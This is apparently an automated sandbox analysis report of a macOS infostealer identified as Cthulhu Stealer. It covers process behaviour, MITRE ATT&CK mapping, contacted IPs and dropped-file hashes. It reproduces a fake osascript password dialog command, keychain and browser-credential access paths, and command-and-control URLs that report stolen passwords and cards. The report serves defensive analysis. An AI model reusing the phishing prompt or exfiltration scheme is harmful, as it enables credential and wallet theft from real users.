          Source: /Volumes/Launch/Launch (PID: 1238)Cthulhu leak file: /Users/Shared/NW/Notes.txtJump to dropped file
          Source: /Volumes/Launch/Launch (PID: 1238)Cthulhu leak file: /Users/Shared/NW/Firefox.txtJump to dropped file
          Yara detected CTHULHU STEALER
          Source: Yara matchFile source: Launch, type: SAMPLE
          Source: Yara matchFile source: Process Memory Space: Launch PID: 1237, type: MEMORYSTR
          Source: Yara matchFile source: Process Memory Space: Launch PID: 1238, type: MEMORYSTR
          Accesses directories and/or files with sensitive browser data likely for credential stealing
          Source: /Volumes/Launch/Launch (PID: 1238)Sensitive file/directory: /Users/rodrigo/Library/Application Support/Firefox/ProfilesJump to behavior
          Source: /Volumes/Launch/Launch (PID: 1238)Sensitive file/directory: /Users/rodrigo/Library/Application Support/Google/Chrome/Default/Login DataJump to behavior
          Source: /Volumes/Launch/Launch (PID: 1238)Sensitive file/directory: /Users/rodrigo/Library/Application Support/Firefox/Profiles/cy5y3w9c.default-release/cookies.sqliteJump to behavior
          Executes Apple scripts that request for passwords (for privilege escalation or leakage)
          Source: /Volumes/Launch/Launch (PID: 1251)Osascript requesting password: osascript -e display dialog "To launch the application, you need to update the system settings\n\nPlease enter your password." default answer "" with hidden answer with icon caution buttons {"Cancel", "OK"} default button "OK" with title "System Preferences"Jump to behavior
          Executes the "security" command used to access the keychain
          Source: /Volumes/Launch/Launch (PID: 1261)Security executable: /usr/bin/security security list-keychainsJump to behavior
          Writes files containing the user's password
          Source: /Volumes/Launch/Launch (PID: 1238)Default password detected: /Users/Shared/NW/Metamask_pass.txtJump to dropped file
          Source: /Volumes/Launch/Launch (PID: 1238)Default password detected: /Users/Shared/NW/UserInfo.txtJump to dropped file
          Writes files with content indentifying the system (indicating system fingerprinting)
          Source: /Volumes/Launch/Launch (PID: 1238)System info file written: /Users/Shared/NW/UserInfo.txtJump to dropped file
          Source: /Volumes/Launch/Launch (PID: 1238)Found path related to 'Binance': /Users/rodrigo/Library/Application Support/Binance/app-store.jsonJump to behavior
          Source: /bin/cp (PID: 1262)Found path related to 'Binance': /Users/rodrigo/Library/Application Support/Binance/.finger-print.fpJump to behavior
          Source: /Volumes/Launch/Launch (PID: 1263)System_profiler executable: /usr/sbin/system_profiler system_profiler SPHardwareDataType SPSoftwareDataTypeJump to behavior
          Source: /usr/sbin/system_profiler (PID: 1269)System_profiler executable: /usr/sbin/system_profiler /usr/sbin/system_profiler -nospawn -xml SPHardwareDataType -detailLevel fullJump to behavior
          Source: /usr/sbin/system_profiler (PID: 1270)System_profiler executable: /usr/sbin/system_profiler /usr/sbin/system_profiler -nospawn -xml SPSoftwareDataType -detailLevel fullJump to behavior

          Remote Access Functionality

          barindex
          Yara detected CTHULHU STEALER
          Source: Yara matchFile source: Launch, type: SAMPLE
          Source: Yara matchFile source: Process Memory Space: Launch PID: 1237, type: MEMORYSTR
          Source: Yara matchFile source: Process Memory Space: Launch PID: 1238, type: MEMORYSTR

          Mitre Att&ck Matrix

          ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
          Gather Victim Identity InformationAcquire InfrastructureValid Accounts3
          AppleScript          		Path Interception1
          Exploitation for Privilege Escalation          		1
          Disable or Modify Tools          		1
          Unsecured Credentials          		1
          Virtualization/Sandbox Evasion          		Remote ServicesData from Local System2
          Encrypted Channel          		Exfiltration Over Other Network Medium1
          Resource Hijacking
          CredentialsDomainsDefault Accounts1
          Malicious File          		Boot or Logon Initialization ScriptsBoot or Logon Initialization Scripts1
          Virtualization/Sandbox Evasion          		1
          Keychain          		1
          System Network Configuration Discovery          		Remote Desktop ProtocolData from Removable Media11
          Non-Standard Port          		Exfiltration Over BluetoothNetwork Denial of Service
          Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)Logon Script (Windows)1
          Hidden Files and Directories          		1
          Credentials from Web Browsers          		21
          System Information Discovery          		SMB/Windows Admin SharesData from Network Shared Drive1
          Ingress Tool Transfer          		Automated ExfiltrationData Encrypted for Impact
          Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin Hook1
          Obfuscated Files or Information          		NTDSSystem Network Configuration DiscoveryDistributed Component Object ModelInput Capture3
          Non-Application Layer Protocol          		Traffic DuplicationData Destruction
          Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script1
          Indicator Removal          		LSA SecretsInternet Connection DiscoverySSHKeylogging4
          Application Layer Protocol          		Scheduled TransferData Encrypted for Impact
          Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts1
          File Deletion          		Cached Domain CredentialsWi-Fi DiscoveryVNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop

          Behavior Graph

          Hide Legend

          Legend:

          • Process
          • Signature
          • Created File
          • DNS/IP Info
          • Is Dropped
          • Number of created Files
          • Shell
          • Is malicious
          • Internet
          behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 4043688 Sample: Launcher.dmg Startdate: 26/08/2024 Architecture: MAC Score: 84 68 89.208.103.185, 4000, 49165 PSKSET-ASRU Russian Federation 2->68 70 ipinfo.io 34.117.59.81, 443, 49164 GOOGLE-AS-APGoogleAsiaPacificPteLtdSG United States 2->70 72 Yara detected CTHULHU STEALER 2->72 74 Uses known network protocols on non-standard ports 2->74 12 Terminal login 2->12         started        signatures3 process4 process5 14 login bash 12->14         started        process6 16 bash Launch 14->16         started        18 bash 14->18         started        20 bash 1 14->20         started        22 11 other processes 14->22 process7 24 Launch Launch 19 16->24         started        28 bash find 18->28         started        30 bash wc 18->30         started        32 bash 20->32         started        34 bash cat 22->34         started        36 bash path_helper 22->36         started        38 bash touch 1 22->38         started        40 4 other processes 22->40 file8 60 /Users/Shared/NW/UserInfo.txt, ASCII 24->60 dropped 62 /Users/Shared/NW/Tokens.txt, ASCII 24->62 dropped 64 /Users/Shared/NW/Notes.txt, ASCII 24->64 dropped 66 5 other malicious files 24->66 dropped 76 Writes files with sensitive content related to the Cthulhu stealer 24->76 78 Writes files containing the user's password 24->78 80 Writes files with content indentifying the system (indicating system fingerprinting) 24->80 82 Accesses directories and/or files with sensitive browser data likely for credential stealing 24->82 42 Launch system_profiler 24->42         started        44 Launch osascript 24->44         started        47 Launch security 2 24->47         started        51 3 other processes 24->51 49 bash date 32->49         started        signatures9 process10 signatures11 53 system_profiler system_profiler 42->53         started        55 system_profiler system_profiler 42->55         started        86 Executes Apple scripts that request for passwords (for privilege escalation or leakage) 44->86 88 Executes the "security" command used to access the keychain 47->88 process12 process13 57 system_profiler csrutil 53->57         started        signatures14 84 Executes the "csrutil" command used to retrieve or modify the "System Integrity Protection" configuration 57->84

          Screenshots

          Thumbnails

          This section contains all screenshots as thumbnails, including those not shown in the slideshow.


          cam-macmac-stand

          Antivirus, Machine Learning and Genetic Malware Detection

          Initial Sample

          ⊘No Antivirus matches

          Dropped Files

          ⊘No Antivirus matches

          Domains

          ⊘No Antivirus matches

          URLs

          ⊘No Antivirus matches

          Domains and IPs

          Contacted Domains

          NameIPActiveMaliciousAntivirus DetectionReputation
          ipinfo.io
          		34.117.59.81
          		truefalse
            		unknown

            Contacted URLs

            NameMaliciousAntivirus DetectionReputation
            https://ipinfo.io/jsonfalse
              		unknown
              http://89.208.103.185:4000/notification_archivefalse
                		unknown

                URLs from Memory and Binaries

                NameSourceMaliciousAntivirus DetectionReputation
                https://ac.ecosia.org/autocomplete?q=autofills.52.dr, credit_cards.52.dr, tokens.52.drfalse
                  		unknown
                  https://duckduckgo.com/chrome_newtabautofills.52.dr, credit_cards.52.dr, tokens.52.drfalse
                    		unknown
                    https://ipinfo.io/missingauthInfo.txt.52.drfalse
                      		unknown
                      https://duckduckgo.com/ac/?q=autofills.52.dr, credit_cards.52.dr, tokens.52.drfalse
                        		unknown
                        http://89.208.103.185:4000/autocheckbytes.Reader.ReadAt:Launchfalse
                          		unknown
                          https://www.google.com/images/branding/product/ico/googleg_lodp.icoautofills.52.dr, credit_cards.52.dr, tokens.52.drfalse
                            		unknown
                            https://vega.github.io/schema/vega/v4.jsonLaunch, 00001238.00000052.1.000000024294c000.000000024428c000.rw-.sdmpfalse
                              		unknown
                              https://api.gofile.io/getServerhttps://%s.gofile.io/uploadFilefmt:Launchfalse
                                		unknown
                                https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/searchautofills.52.dr, credit_cards.52.dr, tokens.52.drfalse
                                  		unknown
                                  https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=autofills.52.dr, credit_cards.52.dr, tokens.52.drfalse
                                    		unknown
                                    https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=autofills.52.dr, credit_cards.52.dr, tokens.52.drfalse
                                      		unknown
                                      https://www.ecosia.org/newtab/autofills.52.dr, credit_cards.52.dr, tokens.52.drfalse
                                        		unknown
                                        https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=autofills.52.dr, credit_cards.52.dr, tokens.52.drfalse
                                          		unknown
                                          https://ipinfo.io/jsonlauncher_accounts.jsongzip:Launchfalse
                                            		unknown
                                            http://89.208.103.185:4000/notification_link?id=%v&message=%s&download_link=%s&passwords=%d&cards=%dLaunchfalse
                                              		unknown

                                              World Map of Contacted IPs

                                              • No. of IPs < 25%
                                              • 25% < No. of IPs < 50%
                                              • 50% < No. of IPs < 75%
                                              • 75% < No. of IPs

                                              Public IPs

                                              IPDomainCountryFlagASNASN NameMalicious
                                              34.117.59.81
                                              		ipinfo.ioUnited States
                                              		139070GOOGLE-AS-APGoogleAsiaPacificPteLtdSGfalse
                                              89.208.103.185
                                              		unknownRussian Federation
                                              		42569PSKSET-ASRUfalse

                                              Joe Sandbox View / Context

                                              IPs

                                              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                              34.117.59.81mekotio_xoredps1.ps1Get hashmaliciousUnknownBrowse
                                              • ipinfo.io/json
                                              DevolucionImpuestoJulioTGR.cmd_BQVDQNuQQAGG.cmdGet hashmaliciousUnknownBrowse
                                              • ipinfo.io/json
                                              mek_n_bat.batGet hashmaliciousUnknownBrowse
                                              • ipinfo.io/json
                                              QMe7JpPtde.exeGet hashmaliciousUnknownBrowse
                                              • ipinfo.io/json
                                              z30PO1028930.exeGet hashmaliciousAsyncRAT, StormKitty, VenomRATBrowse
                                              • ipinfo.io/ip
                                              SecuriteInfo.com.Win32.KeyloggerX-gen.20370.1036.exeGet hashmaliciousUnknownBrowse
                                              • ipinfo.io/ip
                                              SecuriteInfo.com.Win32.KeyloggerX-gen.20370.1036.exeGet hashmaliciousUnknownBrowse
                                              • ipinfo.io/ip
                                              IP-Grabber.ps1Get hashmaliciousUnknownBrowse
                                              • ipinfo.io/ip
                                              BadUsb.ps1Get hashmaliciousUnknownBrowse
                                              • ipinfo.io/ip
                                              ZmYfQBiw.exeGet hashmaliciousUnknownBrowse
                                              • ipinfo.io/

                                              Domains

                                              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                              ipinfo.iotrkfmve.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                                              • 34.117.59.81
                                              http://telegramr.club/Get hashmaliciousTelegram PhisherBrowse
                                              • 34.117.59.81
                                              https://1e3a.uuzkklq.workers.dev/?itin_tleaGet hashmaliciousUnknownBrowse
                                              • 34.117.59.81
                                              UxKANs98rc.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                                              • 34.117.59.81
                                              http://telewgram.cc/Get hashmaliciousUnknownBrowse
                                              • 34.117.59.81
                                              SecuriteInfo.com.Win64.Malware-gen.7824.9882.exeGet hashmaliciousPython Stealer, Stink StealerBrowse
                                              • 34.117.59.81
                                              weave.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                                              • 34.117.59.81
                                              SpotifyStartupTask.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                                              • 34.117.59.81
                                              steam_module_x64.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                                              • 34.117.59.81
                                              IDMCRK.exeGet hashmaliciousFredy StealerBrowse
                                              • 34.117.59.81

                                              ASNs

                                              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                              PSKSET-ASRUACGPhnMVxb.exeGet hashmaliciousCryptOne, RHADAMANTHYSBrowse
                                              • 79.137.205.215
                                              2eqt27LXwV.exeGet hashmaliciousCryptOne, RHADAMANTHYSBrowse
                                              • 79.137.205.215
                                              file.exeGet hashmaliciousAmadey, Babadeda, LummaC Stealer, PureLog Stealer, RedLine, Stealc, VidarBrowse
                                              • 79.137.192.15
                                              file.exeGet hashmaliciousLummaC, Amadey, Babadeda, LummaC Stealer, PureLog Stealer, RedLine, StealcBrowse
                                              • 79.137.192.13
                                              setup.exeGet hashmaliciousLummaC, Amadey, LummaC Stealer, Mars Stealer, PureLog Stealer, Quasar, RedLineBrowse
                                              • 79.137.192.15
                                              3VFddv7dw5.exeGet hashmaliciousAmadeyBrowse
                                              • 79.137.192.15
                                              SecuriteInfo.com.Trojan.PWS.Stealer.39021.26401.10948.exeGet hashmaliciousCredGrabber, Meduza StealerBrowse
                                              • 79.137.197.154
                                              spc.elfGet hashmaliciousMiraiBrowse
                                              • 79.137.205.221
                                              SecuriteInfo.com.Win64.TrojanX-gen.14485.639.exeGet hashmaliciousUnknownBrowse
                                              • 89.208.104.68
                                              SecuriteInfo.com.Win64.TrojanX-gen.14485.639.exeGet hashmaliciousUnknownBrowse
                                              • 89.208.104.68
                                              GOOGLE-AS-APGoogleAsiaPacificPteLtdSGhttps://puffham.wixsite.com/my-site-1Get hashmaliciousUnknownBrowse
                                              • 34.117.88.159
                                              trkfmve.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                                              • 34.117.59.81
                                              http://stream.crichd.vip/update/sscricket.phpGet hashmaliciousUnknownBrowse
                                              • 34.117.77.79
                                              http://telegramr.club/Get hashmaliciousTelegram PhisherBrowse
                                              • 34.117.59.81
                                              http://chengduyiwokeji-haiwai.datasink.datasjourney.comGet hashmaliciousUnknownBrowse
                                              • 34.117.77.79
                                              file.exeGet hashmaliciousUnknownBrowse
                                              • 34.117.188.166
                                              https://1e3a.uuzkklq.workers.dev/?itin_tleaGet hashmaliciousUnknownBrowse
                                              • 34.117.59.81
                                              MDE_File_Sample_775c04b737da218ea8e0cf00c15e7212960dd200.zipGet hashmaliciousUnknownBrowse
                                              • 34.117.188.166
                                              https://wetransfer.com/downloads/e3c914f2e6f4651b1445415756262fa620240826020905/640d590327db92754fa0159c45d4f92720240826020905/4529de?trk=TRN_TDL_01&utm_campaign=TRN_TDL_01&utm_medium=email&utm_source=sendgridGet hashmaliciousUnknownBrowse
                                              • 34.117.188.166
                                              https://pentaleon.com/?sragyzsragyzGet hashmaliciousUnknownBrowse
                                              • 34.117.188.166

                                              JA3 Fingerprints

                                              ⊘No context

                                              Dropped Files

                                              ⊘No context

                                              Created / dropped Files

                                              /Users/Shared/NW/Autofills.txt

                                              Download File
                                              Process:/Volumes/Launch/Launch
                                              File Type:ASCII text
                                              Category:dropped
                                              Size (bytes):54
                                              Entropy (8bit):3.7655693910049166
                                              Encrypted:false
                                              SSDEEP:3:8JbbTbbFmgtwWgkpg1IsFnnOS:Kggtwngg1IsFF
                                              MD5:CFDB20ACFC665EF7B65AB7704F3C2B2C
                                              SHA1:03ECE2F986996E43A7D9BDE32364D0D10B4337F2
                                              SHA-256:A679D24EFA1D8431019F830D65BDE62578A8DA43E88924F3DCC2A923EF46935C
                                              SHA-512:11C61114BBE4C279EFC6354AC6419A7FA6759A77F1333BA961335EFA4785E89E43450AE4A89F51F50B4A5BFE5827A5D2C11EE688DBD70F6635E7A7E9752FABB0
                                              Malicious:true
                                              Reputation:low
                                              Preview:@====)>>>>>>>>> CTHULHU STEALER - BOT <<<<<<<<<(====@.

                                              /Users/Shared/NW/Cookies/cookies_beod.txt

                                              Download File
                                              Process:/Volumes/Launch/Launch
                                              File Type:ASCII text
                                              Category:dropped
                                              Size (bytes):167
                                              Entropy (8bit):4.864926303823225
                                              Encrypted:false
                                              SSDEEP:3:PJuopHrsxA74Ti7TdycyDKKCJuopHrsxA7/CVVWXkopHrsxA7+d1rQAHQdrJv:PkopYxAUoyRNvopYxAuSkopYxA2Gndrh
                                              MD5:A7796510B26C44C757D77CB88E25D68C
                                              SHA1:0329E2E0ECD05ACCDBE138855B885AA4CA6DEB71
                                              SHA-256:444B0F1CE393C9ABAB0C8F6A9866CB128D6239805E3A666A7D8CB0967CA23046
                                              SHA-512:6EDD73F90A0A26114C33C989C7C995D14DD6BBB009D8DDE227677D9F900F1354662B86658D67F1182651004FBB9B5D70DA413DDA42E874F0CB138D16757F8C20
                                              Malicious:false
                                              Reputation:low
                                              Preview:.google.com.FALSE./.TRUE.0.13371827674486834.CONSENT..ogs.google.com.FALSE./.TRUE.0.13339859674000000.OTZ...google.com.FALSE./.TRUE.0.13371454372486683.__Secure-ENID..

                                              /Users/Shared/NW/Firefox.txt

                                              Download File
                                              Process:/Volumes/Launch/Launch
                                              File Type:ASCII text
                                              Category:dropped
                                              Size (bytes):54
                                              Entropy (8bit):3.7655693910049166
                                              Encrypted:false
                                              SSDEEP:3:8JbbTbbFmgtwWgkpg1IsFnnOS:Kggtwngg1IsFF
                                              MD5:CFDB20ACFC665EF7B65AB7704F3C2B2C
                                              SHA1:03ECE2F986996E43A7D9BDE32364D0D10B4337F2
                                              SHA-256:A679D24EFA1D8431019F830D65BDE62578A8DA43E88924F3DCC2A923EF46935C
                                              SHA-512:11C61114BBE4C279EFC6354AC6419A7FA6759A77F1333BA961335EFA4785E89E43450AE4A89F51F50B4A5BFE5827A5D2C11EE688DBD70F6635E7A7E9752FABB0
                                              Malicious:true
                                              Reputation:low
                                              Preview:@====)>>>>>>>>> CTHULHU STEALER - BOT <<<<<<<<<(====@.

                                              /Users/Shared/NW/Info.txt

                                              Download File
                                              Process:/Volumes/Launch/Launch
                                              File Type:UTF-8 Unicode text
                                              Category:dropped
                                              Size (bytes):352
                                              Entropy (8bit):5.258184807277486
                                              Encrypted:false
                                              SSDEEP:6:Kggtwngg1IsFkB9LlH39zcfdmXJt9pff+LHdrVLH5976W35jY:KggtwngWIkkzhH3GfUJtb+LHnrvR5k
                                              MD5:A037E85A50798E6658719DF52BDC349F
                                              SHA1:1D9F481D391A86FDD188AEB527FF0E0A435CE59F
                                              SHA-256:5E4C49EC1ECC862066419545B55E67019320A37B81D7CBC49FB98133CE09B5AF
                                              SHA-512:A6D97B25E3D3222C3C61BC04F40037D0491D01F86407C13F696E5D1717F3BDF51F0A36FEF9FB93B2F6D0C6460F8EAB7E2C13C5430438567B2FFCA3A038C60511
                                              Malicious:true
                                              Reputation: